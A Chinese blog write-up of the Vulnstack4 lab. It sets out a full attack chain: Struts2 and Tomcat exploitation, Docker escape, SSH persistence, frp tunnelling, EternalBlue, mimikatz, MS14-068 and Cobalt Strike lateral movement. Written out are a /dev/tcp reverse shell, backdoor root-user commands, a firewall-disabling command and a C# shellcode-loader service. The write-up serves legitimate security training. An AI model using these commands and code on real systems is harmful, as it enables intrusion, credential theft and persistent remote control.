内网渗透之Vulnstack4靶场的全方位打法

最新推荐文章于 2024-09-22 20:39:27 发布
最新推荐文章于 2024-09-22 20:39:27 发布
阅读量1.7k 收藏 21
点赞数 26
分类专栏： 靶场 文章标签： 网络安全 网络攻击模型 web安全 网络 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xf555er/article/details/135293830
版权

靶场考察点

MS14-068漏洞

MS14-068是一个著名的Windows Kerberos安全漏洞，允许攻击者篡改Kerberos票据，从而获取非法提权。这个漏洞特别影响Windows域控制器，能让攻击者伪造Kerberos票据，获取域内几乎任意账户的权限，包括域管理员权限。这使得攻击者可以在网络中随意访问和控制资源

MS17010漏洞

MS17-010，也被称作“永恒之蓝（EternalBlue）”，是指在2017年由美国国家安全局（NSA）发现并被Shadow Brokers黑客组织公开的一系列Windows操作系统的安全漏洞。这些漏洞影响了Windows的Server Message Block (SMB) 协议，SMB是一种用于文件共享、打印机共享和Windows域中的其他通信的网络协议。

漏洞的主要问题在于它允许未经认证的攻击者远程执行任意代码并获取对系统的完全控制，这使得它成为勒索软件和网络蠕虫等恶意软件的理想传播途径。最著名的利用这一漏洞的攻击是2017年的WannaCry勒索软件事件，它在全球范围内影响了数十万台计算机，造成了巨大的经济损失和运营中断

Strust2漏洞

Apache Struts 2 是一个流行的开源框架，用于创建企业级Java web应用程序。Struts2漏洞通常涉及远程代码执行，允许攻击者通过发送特制的HTTP请求来控制或破坏目标服务器

CVE-2017-12615漏洞

CVE-2017-12615是一个在Apache Tomcat中发现的安全漏洞。这个漏洞存在于Tomcat的某些版本中，允许攻击者利用HTTP PUT请求上传恶意的JSP文件，然后执行这些文件。这通常是由于不当配置或不安全的默认设置导致的。以下是该漏洞的一些关键点：

  1. 受影响版本：影响的是Apache Tomcat 7.0.0至7.0.79版本。它是在Tomcat 7的某些实现中找到的，并且后续版本修复了这个问题。
  2. 漏洞详情：默认情况下，Tomcat 允许使用 HTTP PUT 方法上传文件。此漏洞利用了Tomcat的这一行为，允许攻击者上传包含恶意代码的JSP文件。然后，攻击者可以通过访问这些上传的文件来执行服务器端代码。
  3. 攻击原理：攻击者发送带有特殊构造的PUT请求到服务器，这个请求包含了恶意JSP文件的内容。如果服务器配置不当，攻击者上传的文件可以被服务器接受并保存在可访问的目录中。上传文件之后，攻击者可以通过访问这个JSP文件来执行服务器端代码，这可能导致信息泄露、服务器被控制等后果。
  4. 修复和缓解：修复这个漏洞的主要方法是更新到Apache Tomcat的最新版本，或者至少是没有这个漏洞的安全版本。此外，管理员可以通过配置来禁用HTTP PUT方法或者加强文件上传位置的安全性，以减少被攻击的风险。

CVE-2018-12163了漏洞

CVE-2018-12613 是一个发现于 phpMyAdmin 的安全漏洞。phpMyAdmin 是一个流行的、基于 Web 的 MySQL 数据库管理工具，广泛用于管理数据库，包括数据库的访问、修改、备份等多种功能。这个漏洞特别是因为一个本地文件包含（Local File Inclusion, LFI）漏洞，允许攻击者远程执行代码或读取系统文件，具体取决于攻击者的意图和系统配置

靶场搭建

机器配置

机器IP网段用户及密码
ubuntu（web）192.168.47.186
192.168.183.128		ubuntu：ubuntu
WindowServer2008（DC）192.168.183.130administrator：Test2008(我修改成了qQ123456)
Win7(域内成员机)192.168.183.129douser：Dotest123

服务配置

使用docker ps -a列出当前docker的镜像ID，再使用docker start [ID]启动前三个镜像ID

image-20231203153604828.png

外网打点

信息收集

使用nmap扫描Web机的开放端口：nmap -p- 192.168.47.186 -A

image-20231203160817577

综合上述扫描结果, 总结信息如下表格所示

端口服务攻击面
22/tcpOpenSSH6.6.1，一个较旧的版本，通常用于远程安全登录暴力破解、旧版本SSH漏洞
2001/tcpJetty 9.2.11.v20150529，一个轻量级的Java HTTP服务器和servlet容器旧版本的Struts2漏洞
2002/tcpApache Tomcat 8.5.19，一个广泛使用的开源Java servlet容器，页面标题为“Apache Tomcat/8.5.19”配置不当或已知漏洞
2003/tcpApache httpd 2.4.25，一个非常流行的开源Web服务器软件，扫描发现了一个robots.txt旧版本漏洞或配置问题

漏洞利用

struts2漏洞

访问http://192.168.47.186:2001/，发现是一个文件上传的页面，随便上传了一个图片文件，页面返回链接http://192.168.47.186:2001/doUpload.action;jsessionid=1ljs4kw9xe4pukufqkw6zb11d，并没有返回上传文件的路径

image-20231203205628662.png

使用STS2G扫描器扫描Struts2漏洞，发现Strus2-045漏洞（该漏洞存在于Struts2的文件上传功能中，攻击者可以通过修改HTTP头来执行任意代码）

image-20231204160614586

尝试利用漏洞远程执行linux命令，命令执行成功并返回执行结果，通过查看web服务当前目录，发现目标主机处于docker环境下

image-20231204161942781

尝试反弹目标系统shell，kali开启ncj监听本机的4444端口，反弹成功，获取到一个非交互性的shell

/bin/bash -i >& /dev/tcp/192.168.47.183/4444 0>&1

image-20231204165916534

image-20231204165950915


发现目标系统的python版本为2.7

image-20231204170937740

执行如下命令获取一个交互性相对良好的shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20231204173551747

查看/etc/passwd和/etc/shadow的内容可知，这些账户要么没有密码，要么被禁止登录，当然这是因为反弹到的shell是处于dokcer环境下，后续我们要进行docker逃逸

image-20231204210635302

image-20231204210654880.png

CVE-2017-12615

访问http://192.168.47.186:2002，页面显示Apache Tomcat的版本为8.5.19，此版本有个CVE-2017-12615漏洞

image-20231204214852670.png

使用BurpSuite抓包，将请求方法修改为PUT并发送一个/test请求至目标服务器，服务器返回了一个204状态码，表示请求已成功，尽管没有内容返回，服务器的204响应通常意味着文件已被成功创建或修改

image-20231224154004340.png

访问/test页面，页面成功显示上述我们提交的内容，也就是说此漏洞能够利用

image-20231204232214272.png

将提交的内容修改为哥斯拉生成的webshell内容，上传的文件名为shell.jsp/（在后面加个/是为了防止服务器过滤关键字）

image-20231205000418851

后续可以在哥斯拉命令行终端远程执行linux命令

image-20231205155956814

CVE-2018-12613

搭建环境时貌似出现问题了，就没有去弄

Docker逃逸

检查是否处于docker容器中

在Docker容器内部通常会存在一个名为.dockerenv的文件，可使用命令ls /.dockerenv来检查这个文件是否存在

image-20231205164926505

使用hostname命令查看当前的主机名，如果它看起来像一个容器ID（长字符串的hash），则可能在容器中

image-20231205165020500

Docker会使用cgroup进行资源隔离，可通过查看/proc/1/cgroup文件的内容，若出现"docker"关键字，即表示当前处于dokcer容器中

image-20231205165432218


Docker容器中通常会设置特定的环境变量，可通过`env`命令查看环境变量，查看是否存在与Docker相关的变量，例如下图，`JAVA_HOME`设置为`/docker-java-home/jre`，这通常是在Docker容器中设置的路径

image-20231205165658879

使用df -h命令来显示当前环境中已挂载文件系统的信息

image-20231205170416524.png

  • overlay文件系统类型通常用于Docker容器，用于叠加容器文件系统。
  • tmpfs挂载是Docker容器用于提供临时文件存储和容器隔离的cgroup文件系统的典型设置。
  • /dev/sda1挂载在/etc/hosts，表示宿主机的/etc/hosts文件被挂载到容器中，用于控制容器对网络主机的了解。
  • shm大小设置为64M，这是Docker容器的默认设置，为容器内运行的进程提供共享内存

实现逃逸

使用fdisk -l命令查看磁盘分区表信息，可发现磁盘有三个分区，sda1是包含Linux文件系统的分区，通常是可挂载的；sda2是扩展分区，sda5是swap分区，用于虚拟内存，这两个分区都是不可挂载的

image-20231205172052153

由于docker中的shell拥有root权限，因此我们可以挂载/dev/sda1分区，一旦分区被挂载，对挂载点目录的任何操作都是对/dev/sda1分区的操作，简单来说，就是可以通过容器来操作宿主机

mkdir /hacker
mount /dev/sda1 /hacker  #将sda1分区挂载到/hacker目录

image-20231205230012651

SSH连接Web机的三种方式

1.伪造ssh密钥

进入用户目录，查看当前所有文件(包括隐藏文件)，发现一个隐藏目录.ssh，它用于存储与SSH协议相关的用户配置文件和认证文件，例如用于SSH密钥认证的私钥和公钥

image-20231206160104998.png

进入.ssh目录，发现了id_rsa和id_rsa.pub文件，这两文件分别是SSH的私钥和公钥。

在SSH协议中，若你想远程登录服务器的某个用户，你需要这个用户的私钥，当你使用私钥登录时，服务器将使用与之对应的公钥来验证你所持有的私钥，若验证成功，你将被允许登录，而无需输入密码，而公钥通常被添加到服务器的一个特定文件，比如~/.ssh/authorized_keys

image-20231206160155257.png

我们可以在kali中使用ssh-keygen命令来创建SSH的密钥，-f参数用于指定生成密钥文件的名称路径，随后系统会提示你输入一个passphrase(密钥短语)，这是一个可选步骤，若添加了可以提高密钥的安全性，若私钥落入他人手中，他们还需要知道密钥短语才能使用该私钥

ssh-keygen -f mykey

image-20231206161930378

随后会在当前目录生成私钥和公钥文件，我们需要将公钥放置到目标服务器上

image-20231206163137312

使用wget命令将公钥上传至目标服务器的.ssh目录，并将文件名修改为authorized_keys，并修改其权限为600

wget http://192.168.47.188:8000/mykey.pub
mv mykey.pub authorized_keys	
chmod 600 authorize_keys

image-20231208202123570

随后在kali中使用对应的私钥连接目标主机的ubuntu用户

ssh -i mykey ubuntu@192.168.47.186

2.密码爆破

查看目标主机的/etc/shadow文件的内容，将其复制到kali中并使用john命令进行爆破，成功获取到ubuntu用户的密码

image-20231209093104830

随之使用ssh远程登录目标主机

image-20231209093248813

查看ubuntu用户的权限，发现其拥有所有权限

image-20231209093957741

3.创建用户

除了上述两种方法可以实现远程ssh连接目标主机之外，还可以直接向/etc/passwd和/etc/shadow写入root权限的用户，例如此处我写入一个hacker用户，其密码是qq123456

echo 'hacker:x:0:0::/home/hacker:/bin/bash' >> /hacker/etc/passwd

echo 'hacker:$6$d2ABl4.a$1I0lpjZuR/DIU6o/awc904ewsr643Qsss6QqSf8Q7.yUQ9QFNQx6eJQXOQV9f/fduO8AeLYLUjKOgN7f.ZdeV0:19700:0:99999:7:::' >> /hacker/etc/shadow

image-20231209105711831

kali尝试远程登录刚创建的hacker用户，登录失败了，可能是配置文件限制了root权限用户的登录

image-20231209110040862.png

查看/etc/ssh/sshd_config文件的PermitRootLogin指令，该指令值决定了是否允许root用户的登录，此处值为without-password，表示仅允许root权限的用户通过密钥认证的方式登录，但不允许密码登录。虽然我们可以将此值修改为yes，但是还需要执行重启ssh服务的指令才能使其生效，并且当前shell是处于docker容器中，是无法执行这个命令的

  • yes：允许root用户通过SSH登录。

  • no：不允许root用户通过SSH登录。

  • prohibit-password或without-password：允许root用户通过密钥认证方式登录，但不允许密码登录。

  • forced-commands-only：root用户只能执行配置文件中指定的命令

image-20231209110344712.png

为了解决上述问题，我们可以创建一个普通用户，然后登录到目标主机后再切换至之前创建的root权限用户。此处我创建了一个普通用户commonuser

echo 'commonuser:x:1002:1002::/home/commonuser:/bin/bash' >> /hacker/etc/passwd
echo 'commonuser:$6$yvz9QFcZ$MWfPmklIisybqJlJXvtPsmPwTbg58bEar1/rGi34zgekxfHDWB2THnLtwE8CZKcG2OL2x2IQG4z1AM06WSwkR1:19700:0:99999:7:::' >> /hacker/etc/shadow

kali远程登录普通用户commonuser

ssh commonuser@192.168.47.186

image-20231209114014825

然后切换至拥有root权限的hacker用户：su - hacker

image-20231209114329686.png

内网渗透

Frp内网穿透

登录Web主机后，发现其内网IP为192.168.183.128

image-20231210200131558

在kali启动frp服务端，frps.ini配置如下所示，启动命令：frps -c frps.ini

[common]
bind_port = 7000

[socks5]
type = tcp
auth_method = noauth 
bind_addr = 0.0.0.0
listen_port = 1080

image-20231211115213072

使用wget命令将frp客户端上传至Web，frpc.ini配置如下，启动命令：frpc -c frpc.ini

[common]
server_addr = 192.168.47.188
server_port = 7000

[socks5]
type = tcp
remote_port = 1080
plugin = socks5

image-20231211115246754

修改kali的/etc/proxychain4.conf文件

image-20231211165426183

内网信息收集

MSF扫描内网

使用MSF的scanner/discovery/udp_probe模块来发现内网的存活IP，再配置个socks5协议

setg proxies socks5:192.168.47.188 1080
set rhosts 192.168.183.0-255
set threads 5

Metasploit 的scanner/discovery/udp_probe模块是一个用于发现和识别网络中的 UDP 服务的扫描工具。它通过向目标主机的特定 UDP 端口发送探测包，然后分析返回的响应（如果有的话）来工作。这个模块对于识别开放的 UDP 端口和相应服务特别有用

image-20231211120113956

执行结果显示两个IP,分别是192.168.183.129和192.168.183.130，前者的主机名是TESTWIN7-PC，可推测其系统版本可能是windows7

image-20231211162043928

可使用msf模块的scanner/smb/smb_version来确定内网主机的系统版本，从扫描结果可以看出, 目标主机运行的是Windows 7 Enterprise Service Pack 1 7601

image-20231211213107564.png

nmap扫描内网

nmap配合proxychains扫描内网ip：proxychains nmap -A 192.168.183.129

从扫描结果来看，此主机支持SMB协议版本2，开放端口为25(SMTP)、110(POP3)、135(RPC)、139和445(网络文件共享)

image-20231211165621100.png
image-20231211165636051

nmap扫描另外一个IP：proxychains nmap -A 192.168.183.129

image-20231211210840483

根据扫描结果, 此主机可能是Windows Server 2008 HPC Edition 7601 Service Pack 1,，是一台域控，域名是demo.com, 以下是其开放的端口和服务

  • 25/tcp、110/tcp、636/tcp：标记为tcpwrapped，可能是为了安全性或其他原因，这些端口对外包装了一个统一的响应，阻止了进一步探测。
  • 53/tcp：运行 Microsoft DNS 服务，特定于 Windows Server 2008 R2 SP1。
  • 88/tcp：Kerberos 安全认证服务，显示服务器时间。
  • 135/tcp、139/tcp、445/tcp、49154/tcp-49161/tcp：这些与 Microsoft Windows RPC 和 SMB 服务相关，是 Windows 网络环境的典型特征。
  • 389/tcp、3268/tcp：运行 LDAP 服务，通常与 Active Directory 相关，表明这可能是域控制器。
  • 593/tcp、49157/tcp：Microsoft Windows RPC over HTTP，可能用于远程管理。

后渗透(MSF)

永恒之蓝漏洞

使用MSF的永恒之蓝漏洞扫描模块scanner/smb/smb_ms17_010，发现域控和PC机都存在永恒之蓝漏洞

image-20231211213926241

使用永恒之蓝漏洞利用模块windows/smb/ms17_010_eternalblue，期间可能需尝试几次才能获取到目标主机的shell，执行成功会返回一个system权限的shell

image-20231212105742388.png
image-20231212105916844

执行ipconfig /all， 得知目标域控IP为192.168.183.130，这也证实了nmap扫描结果的猜想

image-20231212114428912

mimikatz导出凭据

加载mimikatz并获取目标主机的内存凭据，获取到PC机的凭据：douser:Dotest123

load kiwi  #加载mimikatz
creds_all  #列举内存凭据

image-20231212110357583.png
image-20231212110403924.png
或者使用mimikatz的sekurlsa::logonpasswords命令列出用户hash，此处Dotest用户SID为S-1-5-21-979886063-1111900045-1414766810-1107，这个SID在后续操作中很重要

image-20231212170933505.png

MS14-068漏洞

上传ms14-068漏洞利用工具goldenPac.exe至PC机

image-20231212125403620

使用goldenPac.exe执行如下命令反弹域控的系统权限shell

goldenPac.exe demo.com/douser:Dotest123@WIN-ENS2VR5TR3N.demo.com

image-20231212125534615

在域控创建一个拥有管理员权限的用户hacker，其密码是Password123

net user hacker Password123 /add
net localgroup Administrators hacker /add

image-20231212214314665.png
执行域控防火墙的命令，为后续的反弹msf正向连接shell做准备

netsh advfirewall set allprofiles state off

image-20231212231720016

执行如下命令生成MSF正向马，随后上传至PC机中

msfvenom -p windows/x64/meterpreter/bind_tcp lport=6666 -f exe -o bind_x64.exe

image-20231212234003583

另起一个msf终端开启监听

image-20231212223224829.png
让PC机与域控建立IPC连接：net use \\192.168.183.130\ipc$ /user:hacker Password123

将木马上传至域控：copy c:\\bind_x64.exe \\192.168.183.130\c$, 后续可通过创建计划任务或者ms14-068漏洞来执行木马，后面我会使用CobaltStrike演示这一流程

image-20231212235556039

后渗透(CS)

永恒之蓝漏洞

上述我们已经获取了web机的权限，通关一些简单的信息收集，发现此ubuntu的版本是14，这是一个很古老的版本，还好此机器上还装有python2.7，这里我将演示如何通过python脚本来利用永恒之蓝漏洞

首先下载永恒之蓝的python exp，将CS生成的二进制文件payload_x64.bin(最好选择stager类型,经过测试stageless类型或x86位的payload会导致目标主机蓝屏)放入其shellcode目录，随后执行如下命令将sc_x64_kernel.bin和payload_x64.bin合并成sc_x64.bin

cat sc_x64_kernel.bin payload_x64.bin > sc_x64.bin

image-20231218224614530

将exp（分别是eternalblue_exploit7.py、sc_x64.bin）上传到Web机

image-20231226154523689

由于此脚本执行需要安装impacket库，我们可以通过此命令来安装：apt-get install python-impacket

安装完后使用socat命令进行流量转发：socat TCP4-LISTEN:80,fork TCP4:192.168.47.188:80

image-20231218223924779

CobaltStrike新建一个HTTP监听，名为WebHTTP，IP地址应填写为Web机的内网IP

HTTP Host (Stager)指定的IP地址是用于初始阶段的Stager所连接的服务器，当你生成一个stager类型的beacon并上传至目标主机后，目标主机会尝试从HTTP Host (Stager)指定的IP地址下载完整的payload，若你使用的stageless的beacon，那么此选项就不会发挥作用

image-20231218224113553

执行如下命令对目标主机进行永恒之蓝漏洞攻击

python2 eternalblue_exploit7.py 192.168.183.129 sc_x64.bin

image-20231218224740315

随后PC机在CobaltStrike上线

image-20231218224838480

同理，我们也可以用来打域控

image-20231222164744829

你也可以不用将漏洞利用脚本上传至Web机上，可以配合proxychains走Socks5协议实现对内网主机的永恒之蓝攻击，但是这种方法的利漏洞利用成功率比较低，不是很推荐

image-20231227205318614

mimikatz导出凭据

在PC机的beacon命令行执行mimikatz，成功获取到用户的凭据和SID

image-20231218225503663

MS14-068漏洞

将MS14-068.EXE上传至PC机中

image-20231219163224172

执行如下cmd命令利用ms14068漏洞，执行完毕后会在当前文件夹下生成一个TGT_douser@DEMO.COM.ccache文件，这是一个票据文件，能够用于进一步的攻击活动

MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

image-20231219163951497

使用mimikatz注入上述生成的票据

mimikatz # kerberos::purge    //清空当前机器中所有凭
mimikatz # kerberos::list     //查看当前机器凭证
mimikatz # kerberos::ptc <上述生成的票据文件>   //将票据注入到内存中

image-20231219164535866

与域控建立IPC$连接：net use \\WIN-ENS2VR5TR3N

image-20231219165614232.png
查看IPC链接是否建立成功：net use

image-20231220171552999.png


并查看域控的C盘目录：`dir \\WIN-ENS2VR5TR3N\C$`

image-20231219165730816


使用之前的WebHTTP监听创建一个木马并上传至PC机中

image-20231219170542530

在通过PC机将木马移动至域控的C盘目录

shell copy C:\\beacon_x64.exe \\WIN-ENS2VR5TR3N\c$

image-20231219170932294

在域控创建计划任务执行木马：schtasks /create /s WIN-ENS2VR5TR3N /ru "SYSTEM" /tn mytask /sc ONCE /st 17:55 /tr C:\\beacon_x64.exe /F

image-20231220175821967

域控上线后运行mimikatz获取用户凭据

image-20231220180113223.png


此时我尝试使用SC创建系统服务来执行beacon，虽然beacon成功上线了，但是很快就会掉，随即弹出报错：”服务没有及时响应启动或控制请求“ 
sc \\WIN-ENS2VR5TR3N create "MyBeacons" binpath= "C:\\beacon_x64.exe"
sc \\WIN-ENS2VR5TR3N start MyBeacons

image-20231220205819148

这是因为windows服务与常规应用程序的运行方式不同，windows服务需要与服务控制管理器(SCM)交互，因此我们需使用VisualStuido创建一个windows服务，并且需要知道目标系统支持的.NET版本，此处域控支持的.net版本是3.5及以下

image-20231221162307517

以下是windows服务类型的beacon代码，你只需填上CS生成的shellcode即可

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Runtime.InteropServices;

namespace SharpService_shellcodeloader
{

    public partial class Service1 : ServiceBase
    {
        [DllImport("kernel32.dll")]
        private static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
            uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
           IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);


        public Service1()
        {
            InitializeComponent();
        }

        protected override void OnStart(string[] args)
        {
            // 填写cs或msf的Shellcode
            byte[] shellcode = new byte[894] {}


            IntPtr memoryAddress = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length,
                                                0x3000, 0x40);

            Marshal.Copy(shellcode, 0, memoryAddress, shellcode.Length);

            IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, memoryAddress,
                                               IntPtr.Zero, 0, IntPtr.Zero);

            WaitForSingleObject(threadHandle, 0xFFFFFFFF);

        }

        protected override void OnStop()
        {
        }

    } 
}

将上述代码生成的木马上传至域控，使用如下命令创建服务并启动，域控成功上线并且没有掉线

sc \\WIN-ENS2VR5TR3N create "ServiceBeacon" binpath= "C:\\service.exe"
sc \\WIN-ENS2VR5TR3N description ServiceBeacon "This is Hacker Beacon"
sc \\WIN-ENS2VR5TR3N start ServiceBeacon

image-20231221165859788.png

远程连接桌面

使用proxychains配合rdesktop命令远程登录内网域控的桌面

image-20231222163807757

输入域控的管理员密码后即可成功登录

image-20231222163904665

遇到的一些问题

1.CobaltStrike高版本的HTTPS Beacon无法上线

当使用CobaltStrike4.9生成一个HTTPS协议的beacon并放入windows7及以下版本执行，发现无法上线

这应该是tls协议支持的问题，像windows7这种低版本的系统默认是不支持tls1.2的，通常使用tls1.0协议，我疑惑的地方在于CobaltStrike显示是支持tls1.0协议的，但实际上却不支持，听群里的师傅说这是CobaltStrike的一个陈年旧病，貌似是有方法能够patch的，再此希望各位师傅能告知下解决方法

网上说的解决方法是修改java.security文件，将jdk.tls.disableAlgorithms的值中涉及tls和ssl的移除掉，但是依然无法解决上线问题

image-20231228160957781

Henry404s
关注
专栏目录
vulnstack域环境靶场（四）
BROTHERYY的博客
12-09 1512
环境搭建 进入Ubuntu的web虚拟机，ubuntu为我们的web环境，其中的web环境需要手动开启，全部为docker环境，需要启动的环境分别为：s2-045、CVE-2017-12615、cve-2018-12613，启动方法如下： sudo su ubuntu docker-compose build docker-compose up 环境全部开启效果如下: 信息搜集 通过nmap发现主机开启以下服务，访问phpmyadmin属于未授权，直接就登录了 ...
靶场vulnstack4的搭建
weixin_71169068的博客
11-17 775
搭建靶场vulnstack4
Vulnstack内网靶场4
weixin_48888525的博客
11-07 2709
环境 漏洞详情 (qiyuanxuetang.net) 仅主机模式内网网段192.168.183.0/24 外网网段192.168.157.0/24 其中Ubuntu作为对外的内网机器  攻击机kali地址：192.168.157.129  悬剑：192.168.157.130 还需要进入ubuntu开启服务，密码ubuntu cd /home/ubuntu/Desktop/vulhub/struts2/s2-045vsudo docker-compose up -d cd
ATT&CK实战系列-Vulnstack三层网络域渗透靶场（一）
最新发布
M372109150的博客
09-22 1403
本篇为红日安全的ATT&CK实战系列-红队评估 （一）Vulnstack三层网络域渗透靶场， 靶场下载链接：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
内网渗透靶场 Vulnstack（一）
qq_47168481的博客
10-06 5559
虽然网上说这个靶场不是很难，但我自己做起来还是困难重重，很多知识不了解，搞了好几天，学到了不少，继续努力！！！ 域是计算机网络的一种形式，其中所有用户帐户 ，计算机，打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户，然后可以为该帐户分配对该域内资源的访问权限。 从 Windows Server 2003 开始 ， Active Directory 是负责维护该中央数据库的 Windows
Vulnstack红日安全内网域渗透靶场1实战
热门推荐
道阻且长，行则将至。
07-14 1万+
文章目录前言靶场搭建外网打点MySQL写日志GetshellCMS后台上传GetShell内网渗透靶机CS后门上线内网域信息的收集 前言 VulnStack 是由红日安全团队倾力打造一个靶场知识平台。为了进一步学习内网渗透，本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。 靶场搭建 在线 靶场链接 如下： 1、下载后为 3 个虚拟机，网络拓扑如下： 2、从网络拓扑图得知，需要模拟内网和外网两个网段， Win7 虚拟机相当于网关服务器，所以需要两张网卡，故需要配置两个网络适配器（网卡），点击
红日内网渗透靶场vulnstack2
snowlyzz的博客
09-20 1197
红日渗透二学习
靶场vulnstack4内网渗透
weixin_71169068的博客
11-18 1051
靶场vulnstack4内网渗透
红日靶场vulnstack1 内网渗透学习
snowlyzz的博客
09-18 2233
红日靶场渗透教程
2024年最新Vulnstack红日安全内网域渗透靶场1实战_vulnstack靶场(1)
2401_84297265的博客
05-03 1716
该内网靶场的渗透实验，大概得折腾了我整整 3-4 天才做完（而且各种攻击不畅……），其中 Win7 跳板机执行域命令频繁报错如下（各种百度解决方案均行不通，如有知情大佬请赐教，感激不尽……
Vulnstack红日安全内网域渗透靶场1实战_vulnstack靶场
2401_84297455的博客
04-28 2658
VulnStack是由红日安全团队倾力打造一个靶场知识平台，靶场环境（CMS、漏洞管理、以及域管理等）全部依据国内企业的业务习惯进行模拟，环境设计思路全部来源 ATT&CK 红队评估设计模式，从环境搭建、漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场和设计题目。为了进一步学习内网渗透，本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。
记一次内网靶场渗透测试
m0_60571990的博客
10-13 1275
记一次内网靶场渗透测试
Vulnhub靶场第四关
L1928的博客
08-28 352
Vulnhub靶场 acid 目标： 获得root权限和flag 运行环境： 靶机配置：该虚拟机完全基于Web，提取rar并使用VMplayer运行vmx，网络连接方式设置为net，靶机自动获取IP。 攻击机配置：同网段下有Windows攻击机，安装有Burpsuit、nc、Python2.7、DirBuster、御剑等渗透工具。 1.使用nmap扫描VMware Network Adapter VMnet8 网段 2.获得ip进入主页 3.并且发现端口：Tcp 33447 4.底层服务：Apache2.
自主搭建的三层网络域渗透靶场打靶记录
Innocence_0的博客
08-01 874
假期马上结束了，闲暇之时我自己尝试着搭建了一个内网渗透的靶场。靶场是根据比较新的漏洞进行搭建的，质量自以为还可以。文中若有不当之处还请各位大佬多多点评公众号：WHOAMIAnony整个靶场的网络环境分为三层。从最初的信息收集、外网初探、攻入内网、搭建代理，横向移动，最终拿下域控。端口扫描端口服务识别漏洞搜索与利用Laravel Debug mode RCE（CVE-2021-3129）漏洞利用Docker逃逸通达OA v11.3 漏洞利用Linux环境变量提权Redis 未授权访问漏洞。
vulstack红队评估(四)
PANDA墨森的博客
06-21 1746
原文链接：https://www.cnblogs.com/PANDA-Mosen/p/13118210.html 一、环境搭建： ①根据作者公开的靶机信息整理 虚拟机密码： ubuntu： ubuntu:ubuntu win7： douser:Dotest123 Win2008 DC： administrator:Test2008，因为登陆要修改密码，所以改为了panda666... ②虚拟机网卡设置 ubuntu双网卡模拟内外网： 外网：192.168.1....
靶场复现系列--vulnstack 4
梦之旅行地
12-17 1794
一、前言 也不知道是我运气差还是怎么回事，用vmw搭靶场就是搭不起来，遇到各种问题，后来换成virtual box后解决几个问题就可以了。 第一个问题，虚拟机导入后网卡最好重新配下，不然容易报网卡的错误 第二个问题，启动docker报错，web服务器（ubuntu）用户未加入docker组，将ubuntu用户加入docker组后，重启就可以通过docker构建容器了，下面是加入docker组的命令 sudo gpasswd -a ${USER} docker 二、实践 1.拓扑 备注：这图片直接在靶场
红日靶机vulnstack04【半总结】
qq_45300786的博客
10-06 564
这次环境是3台机器， web服务器：000000 、DC：000000ydc. 、 win7 web服务器改ip有点麻烦，因为需要root用户才能改，给的ubuntu改不了。 所以我就进入高级模式下，修改了root用户的密码 关于虚拟机没有ipIP解决方案 然后再切到root用户修改ip win7 这台机器最麻烦，因为UAC开启最高模式，所以无论执行什么东西，都要输入账号密码 这里我的思路是先用msf的永恒之蓝拿到shell，然后再用下面这个链接去绕过UAC，提权为system权限。然后利用这个sy
渗透靶场--vulnstack-红队评估实战(4)
weixin_45794666的博客
07-20 784
vulnstack-红队评估实战(4) 环境配置 web服务器 ubuntu:ubuntu 内网192.168.183.131 外网192.168.154.137 web服务需要自己启动分别为s2-045、CVE-2017-12615、cve-2018-12613 sudo su ubuntu cd /home/ubuntu/Desktop/vulhub/struts2/s2-045 docker-compose up 域成员机器 douser:Dotest123 192.168.183.128 域控
一次简单的内网靶场渗透
weixin_46330465的博客
02-19 1676
本套靶场来源于渗透攻击红队。大佬勿喷，请多多指教。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值